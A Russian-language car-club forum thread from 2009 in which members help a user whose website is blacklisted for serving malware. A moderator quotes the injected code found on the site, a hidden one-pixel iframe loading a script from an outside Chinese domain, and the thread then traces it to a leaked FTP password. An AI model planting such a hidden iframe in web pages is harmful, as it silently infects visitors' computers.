Здравствуйте, гость ( Вход | Регистрация )

Добро пожаловать в Клубный автосервис для вашего "Honda HR-V" в Москве! Бесплатная диагностика!
Не упустите выгоду! Экономьте на ТО и ремонте до 50%! Подробнее ЗДЕСЬ!!!
yes.gif
 
 
Reply to this topicStart new topic
> Проблема с моим сайтом, кто разбирается? хелп!!!
avante
сообщение 9.4.2009, 16:07
Сообщение #1

Был хрюшеводом
******
Группа: Пользователи 
Сообщений: 720
Регистрация: 30.8.2007
Город: Новокузнецк
Авто: другое
Пол: Мужской
Поблагодарили: 1 раз(а)


Ребята, кто шарит во всей этой электронной мути, подскажите. Захожу на свой сайт хххххххххх, а мне там вылазиет вот такая фигня:

Имеется информация, что этот сайт атакует компьютеры
Имеется информация о том, что сайт хххххххххх используется для атак на компьютеры пользователей. В соответствии с вашими настройками безопасности он был заблокирован.
Сайты, атакующие компьютеры, пытаются установить программное обеспечение, которое похищает персональную информацию, вредит вашей системе или использует ваш компьютер для атак на другие компьютеры.
Некоторые сайты намеренно созданы для распространения зловредного программного обеспечения, однако многие сайты были взломаны и делают это без ведома или разрешения своих владельцев.

Причем у сайта два доменных имени, захожу на второе имя уууууууууууу, там все нормально. Что может быть и как победить сей недуг? Катавасия длится уже с месяц. Мой друган скачал весь сайт, проверил антивиром, чтото там нашел и удалил, удалил с сервака оригинал и залил сайт обратно. Ничего не изменилось. Так и вылазиет это сообщение о блокировке. А по имени уууууууууу ведь все нормально заходит, даже когда там реально какойто вирус был. Вообщем, мне надо чтоб люди могли заходить на сайт хххххххххххх. Кто чем может помоч???



H-nDA HR-V, 4WD, Вариатор, 1,6 литра, 105 коней, Былa.
SUZUKI ESCUDO, 4WD, АКПП, 1,6 литра, 100 коней, Есть
 
+Quote Post
avante
сообщение 9.4.2009, 16:16
Сообщение #2

Был хрюшеводом
******
Группа: Пользователи 
Сообщений: 720
Регистрация: 30.8.2007
Город: Новокузнецк
Авто: другое
Пол: Мужской
Поблагодарили: 1 раз(а)


Если кто по доброте душевной сможет решить проблему, скину в личку первое (проблемное) и второе (нормальное) доменные имена.



H-nDA HR-V, 4WD, Вариатор, 1,6 литра, 105 коней, Былa.
SUZUKI ESCUDO, 4WD, АКПП, 1,6 литра, 100 коней, Есть
 
+Quote Post
FildSnild
сообщение 9.4.2009, 16:31
Сообщение #3

ФилдШилд, Заслуженный Хрюшевод России
**********
Группа: Модераторы 
Сообщений: 3978
Регистрация: 4.5.2007
Город: Москва-Пенза
Пол: Мужской
Поблагодарили: 367 раз(а)


Эмм.. может, какая то шняга индексировала сайт xxxxxx в список "неблагонадежных", тем более что там вирь был? Пришли в личку имена, я попробую.




HR-V 1999 CVT 3dr - продал | NMPS 3.0i - продал | Mazda3 1.6 | icq 31-32-31-567
ссылка
ссылка | Skype: FildSnild
За новостями форума следите ссылка.
 313231567  
+Quote Post
avante
сообщение 9.4.2009, 16:43
Сообщение #4

Был хрюшеводом
******
Группа: Пользователи 
Сообщений: 720
Регистрация: 30.8.2007
Город: Новокузнецк
Авто: другое
Пол: Мужской
Поблагодарили: 1 раз(а)


FildSnild отправил, спасибо



H-nDA HR-V, 4WD, Вариатор, 1,6 литра, 105 коней, Былa.
SUZUKI ESCUDO, 4WD, АКПП, 1,6 литра, 100 коней, Есть
 
+Quote Post





 

LadyPurple
сообщение 9.4.2009, 17:22
Сообщение #5


***
Группа: Пользователи 
Сообщений: 68
Регистрация: 22.8.2008
Город: Москва
Авто: другое
Пол: Женский
Поблагодарили: 0 раз(а)


Блин, ледиперпл тут залогинилась уже. smile.gif Сейчас посмотрю.



user posted image
Mazda, 1.6, MT, Purple Phantom Mica
 231343684  
+Quote Post
FildSnild
сообщение 9.4.2009, 17:37
Сообщение #6

ФилдШилд, Заслуженный Хрюшевод России
**********
Группа: Модераторы 
Сообщений: 3978
Регистрация: 4.5.2007
Город: Москва-Пенза
Пол: Мужской
Поблагодарили: 367 раз(а)


Вот он у тебя сидит в коде:
<iframe src="http://internetnamestore.cn/in.cgi?income27" width=1 height=1 style="visibility: hidden">
smile.gif




HR-V 1999 CVT 3dr - продал | NMPS 3.0i - продал | Mazda3 1.6 | icq 31-32-31-567
ссылка
ссылка | Skype: FildSnild
За новостями форума следите ссылка.
 313231567  
+Quote Post
avante
сообщение 9.4.2009, 17:43
Сообщение #7

Был хрюшеводом
******
Группа: Пользователи 
Сообщений: 720
Регистрация: 30.8.2007
Город: Новокузнецк
Авто: другое
Пол: Мужской
Поблагодарили: 1 раз(а)


FildSnild спасибо еще раз, отдал твои исследования челу, который хоть чтото в этом смыслит, сидит разбирается




H-nDA HR-V, 4WD, Вариатор, 1,6 литра, 105 коней, Былa.
SUZUKI ESCUDO, 4WD, АКПП, 1,6 литра, 100 коней, Есть
 
+Quote Post
avante
сообщение 9.4.2009, 17:47
Сообщение #8

Был хрюшеводом
******
Группа: Пользователи 
Сообщений: 720
Регистрация: 30.8.2007
Город: Новокузнецк
Авто: другое
Пол: Мужской
Поблагодарили: 1 раз(а)


Чел мне сказал что уже удалял эту фигню, откуда опять появилась, неизвестно. Еще раз удалил.



H-nDA HR-V, 4WD, Вариатор, 1,6 литра, 105 коней, Былa.
SUZUKI ESCUDO, 4WD, АКПП, 1,6 литра, 100 коней, Есть
 
+Quote Post
FildSnild
сообщение 9.4.2009, 17:59
Сообщение #9

ФилдШилд, Заслуженный Хрюшевод России
**********
Группа: Модераторы 
Сообщений: 3978
Регистрация: 4.5.2007
Город: Москва-Пенза
Пол: Мужской
Поблагодарили: 367 раз(а)


В хостере дырка значит. Или права доступа неправильно стоят.
Тут кой чего есть:
ссылка
может попробовать пароль сменить. А сайтик с вирем - китайский. smile.gif




HR-V 1999 CVT 3dr - продал | NMPS 3.0i - продал | Mazda3 1.6 | icq 31-32-31-567
ссылка
ссылка | Skype: FildSnild
За новостями форума следите ссылка.
 313231567  
+Quote Post





 

avante
сообщение 9.4.2009, 18:06
Сообщение #10

Был хрюшеводом
******
Группа: Пользователи 
Сообщений: 720
Регистрация: 30.8.2007
Город: Новокузнецк
Авто: другое
Пол: Мужской
Поблагодарили: 1 раз(а)


Каков тогда выход из положения?



H-nDA HR-V, 4WD, Вариатор, 1,6 литра, 105 коней, Былa.
SUZUKI ESCUDO, 4WD, АКПП, 1,6 литра, 100 коней, Есть
 
+Quote Post
avante
сообщение 9.4.2009, 18:07
Сообщение #11

Был хрюшеводом
******
Группа: Пользователи 
Сообщений: 720
Регистрация: 30.8.2007
Город: Новокузнецк
Авто: другое
Пол: Мужской
Поблагодарили: 1 раз(а)


Щас ссылочку твою почитаем



H-nDA HR-V, 4WD, Вариатор, 1,6 литра, 105 коней, Былa.
SUZUKI ESCUDO, 4WD, АКПП, 1,6 литра, 100 коней, Есть
 
+Quote Post
avante
сообщение 9.4.2009, 18:26
Сообщение #12

Был хрюшеводом
******
Группа: Пользователи 
Сообщений: 720
Регистрация: 30.8.2007
Город: Новокузнецк
Авто: другое
Пол: Мужской
Поблагодарили: 1 раз(а)


заходим через мазила фиерфокс, есть вирус, заходим через эксплоер нет вируса, шайтан



H-nDA HR-V, 4WD, Вариатор, 1,6 литра, 105 коней, Былa.
SUZUKI ESCUDO, 4WD, АКПП, 1,6 литра, 100 коней, Есть
 
+Quote Post
FildSnild
сообщение 9.4.2009, 19:10
Сообщение #13

ФилдШилд, Заслуженный Хрюшевод России
**********
Группа: Модераторы 
Сообщений: 3978
Регистрация: 4.5.2007
Город: Москва-Пенза
Пол: Мужской
Поблагодарили: 367 раз(а)


avante
Не, не так. Вирус есть в обоих случаях. Просто когда заходишь через експлорер, вирь юзает дырку в нем, и ты его не видишь (а комп уже заражен). В мазиле и опере таких дырок нету, поэтому предлагает скачать файл.
Какой выход из положения я не знаю, попробуй пароль поменять к сайту. Судя по описанию, вирь пароль уже украл от твоего ресурса, и теперь через ftpшник закачивает код в индекс.хтмл.




HR-V 1999 CVT 3dr - продал | NMPS 3.0i - продал | Mazda3 1.6 | icq 31-32-31-567
ссылка
ссылка | Skype: FildSnild
За новостями форума следите ссылка.
 313231567  
+Quote Post
avante
сообщение 13.4.2009, 6:13
Сообщение #14

Был хрюшеводом
******
Группа: Пользователи 
Сообщений: 720
Регистрация: 30.8.2007
Город: Новокузнецк
Авто: другое
Пол: Мужской
Поблагодарили: 1 раз(а)


Вообщем проблему не победил mad.gif , удаляем тот вирус, удаляем с сервака старый сайт, заливаем новый-вылеченный, а он тут же выдает что сайт заблакирован и в коде опять сидит вирь blink.gif , тут же сразуже blink.gif че за фигня?? пароль сменили. Есть еще у кого какие мысли ?????



H-nDA HR-V, 4WD, Вариатор, 1,6 литра, 105 коней, Былa.
SUZUKI ESCUDO, 4WD, АКПП, 1,6 литра, 100 коней, Есть
 
+Quote Post
FildSnild
сообщение 13.4.2009, 8:04
Сообщение #15

ФилдШилд, Заслуженный Хрюшевод России
**********
Группа: Модераторы 
Сообщений: 3978
Регистрация: 4.5.2007
Город: Москва-Пенза
Пол: Мужской
Поблагодарили: 367 раз(а)


avante
Написал знакомому из лаборатории Касперского, думаю поможет.




HR-V 1999 CVT 3dr - продал | NMPS 3.0i - продал | Mazda3 1.6 | icq 31-32-31-567
ссылка
ссылка | Skype: FildSnild
За новостями форума следите ссылка.
 313231567  
+Quote Post





 

FildSnild
сообщение 13.4.2009, 14:06
Сообщение #16

ФилдШилд, Заслуженный Хрюшевод России
**********
Группа: Модераторы 
Сообщений: 3978
Регистрация: 4.5.2007
Город: Москва-Пенза
Пол: Мужской
Поблагодарили: 367 раз(а)


Вот ответ Касперский лаб, как я и предполагал с паролем:

Цитата
Привет,
Вот дословно ответ от эксперта
Вариантов не много:
1. Пароль от ftp сайта утёк. Надо менять пароль и убедиться что на машине нет троя уводящего пароли.
2. Хакнули хостера и надо разбираться с владельцем сервера.
3. На машине пользователя стоит троян который подменяет html на лету.
Проверить можно закачав на ftp незараженные страницы в zip и разархивировав там удлаенно по ssh.

Проше говоря. Надо установить антивирус на компьютер твоего друга, сделать полную проверку компьютера, сменить пароль на ftp и попробовать снова. Если  не получится действовать по инструкции описанной выше.

Максим


Антивирус есть? Если нет, скачай каспера или DrWeb, проверь полностью свой комп. В дополнение вот такую фичу могу предложить, русифицированна:
ссылка
Spybot S&D, хорошо ловит шпиенов и троянов. Только обязательно обновить базы перед проверкой.




HR-V 1999 CVT 3dr - продал | NMPS 3.0i - продал | Mazda3 1.6 | icq 31-32-31-567
ссылка
ссылка | Skype: FildSnild
За новостями форума следите ссылка.
 313231567  
+Quote Post
avante
сообщение 14.4.2009, 10:21
Сообщение #17

Был хрюшеводом
******
Группа: Пользователи 
Сообщений: 720
Регистрация: 30.8.2007
Город: Новокузнецк
Авто: другое
Пол: Мужской
Поблагодарили: 1 раз(а)


Ого, спасибо, уже тяжелую артиллерию подключили, будем разбираться, о результатах отпишусь



H-nDA HR-V, 4WD, Вариатор, 1,6 литра, 105 коней, Былa.
SUZUKI ESCUDO, 4WD, АКПП, 1,6 литра, 100 коней, Есть
 
+Quote Post
avante
сообщение 15.4.2009, 14:52
Сообщение #18

Был хрюшеводом
******
Группа: Пользователи 
Сообщений: 720
Регистрация: 30.8.2007
Город: Новокузнецк
Авто: другое
Пол: Мужской
Поблагодарили: 1 раз(а)


Отчитываюсь: владелец сервака проверил свой сервер, нашли какуюто фигню каторая штмл код правит, но к моему сайту это не относилось. На том компе, на котором проверяют и перезаливают мой сайт стоит нод32 лицензионный новый, сам комп не заражон, а вот на сайте опять удаляют тот же вирь что был и до этого (который уже не однократно удаляли) пароли сменили. Как уверяет владелец сервера, на моем сайте чисто, а вот гугл занес мой сайт в черный список и теперь фиг знает сколько он будет в этом списке. Как сообщить в гугл чтоб они мой сайт из списка удалили? знает ктонибудь? sad.gif



H-nDA HR-V, 4WD, Вариатор, 1,6 литра, 105 коней, Былa.
SUZUKI ESCUDO, 4WD, АКПП, 1,6 литра, 100 коней, Есть
 
+Quote Post
FildSnild
сообщение 15.4.2009, 15:13
Сообщение #19

ФилдШилд, Заслуженный Хрюшевод России
**********
Группа: Модераторы 
Сообщений: 3978
Регистрация: 4.5.2007
Город: Москва-Пенза
Пол: Мужской
Поблагодарили: 367 раз(а)


Мм.. ну вот сейчас я на него залез - враждебного кода нет, все открывается. Насчет гугля не знаю.




HR-V 1999 CVT 3dr - продал | NMPS 3.0i - продал | Mazda3 1.6 | icq 31-32-31-567
ссылка
ссылка | Skype: FildSnild
За новостями форума следите ссылка.
 313231567  
+Quote Post
avante
сообщение 15.4.2009, 17:55
Сообщение #20

Был хрюшеводом
******
Группа: Пользователи 
Сообщений: 720
Регистрация: 30.8.2007
Город: Новокузнецк
Авто: другое
Пол: Мужской
Поблагодарили: 1 раз(а)


FildSnild тоесть сайт открывается нормально? без предупреждения о заразности сайта? я вот пробую зайти, он мне окошко о блокировке выдает, шайтан
wacko.gif



H-nDA HR-V, 4WD, Вариатор, 1,6 литра, 105 коней, Былa.
SUZUKI ESCUDO, 4WD, АКПП, 1,6 литра, 100 коней, Есть
 
+Quote Post
FildSnild
сообщение 15.4.2009, 20:15
Сообщение #21

ФилдШилд, Заслуженный Хрюшевод России
**********
Группа: Модераторы 
Сообщений: 3978
Регистрация: 4.5.2007
Город: Москва-Пенза
Пол: Мужской
Поблагодарили: 367 раз(а)


Цитата (avante @ 15.04.2009 - 17:55)
FildSnild тоесть сайт открывается нормально? без предупреждения о заразности сайта?

ага




HR-V 1999 CVT 3dr - продал | NMPS 3.0i - продал | Mazda3 1.6 | icq 31-32-31-567
ссылка
ссылка | Skype: FildSnild
За новостями форума следите ссылка.
 313231567  
+Quote Post
avante
сообщение 16.4.2009, 3:52
Сообщение #22

Был хрюшеводом
******
Группа: Пользователи 
Сообщений: 720
Регистрация: 30.8.2007
Город: Новокузнецк
Авто: другое
Пол: Мужской
Поблагодарили: 1 раз(а)


blink.gif wacko.gif



H-nDA HR-V, 4WD, Вариатор, 1,6 литра, 105 коней, Былa.
SUZUKI ESCUDO, 4WD, АКПП, 1,6 литра, 100 коней, Есть
 
+Quote Post
avante
сообщение 19.4.2009, 18:38
Сообщение #23

Был хрюшеводом
******
Группа: Пользователи 
Сообщений: 720
Регистрация: 30.8.2007
Город: Новокузнецк
Авто: другое
Пол: Мужской
Поблагодарили: 1 раз(а)


Урааааа, мы победили не только 9 мая, но и буквально на днях. Благодаря FildSnild и еще нескольким моим друзьям, мы таки победили заразу, терроризирующую мой сайт около 2-х месяцев. Наконецто все заработало.
FildSnild спасибо тебе, твои наводки очень помогли.



H-nDA HR-V, 4WD, Вариатор, 1,6 литра, 105 коней, Былa.
SUZUKI ESCUDO, 4WD, АКПП, 1,6 литра, 100 коней, Есть
 
+Quote Post
FildSnild
сообщение 19.4.2009, 19:10
Сообщение #24

ФилдШилд, Заслуженный Хрюшевод России
**********
Группа: Модераторы 
Сообщений: 3978
Регистрация: 4.5.2007
Город: Москва-Пенза
Пол: Мужской
Поблагодарили: 367 раз(а)


cool.gif Ура! Незачто )




HR-V 1999 CVT 3dr - продал | NMPS 3.0i - продал | Mazda3 1.6 | icq 31-32-31-567
ссылка
ссылка | Skype: FildSnild
За новостями форума следите ссылка.
 313231567  
+Quote Post


Reply to this topicStart new topic
> 1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0

 

Текстовая версия Сейчас: 11.12.2017, 18:30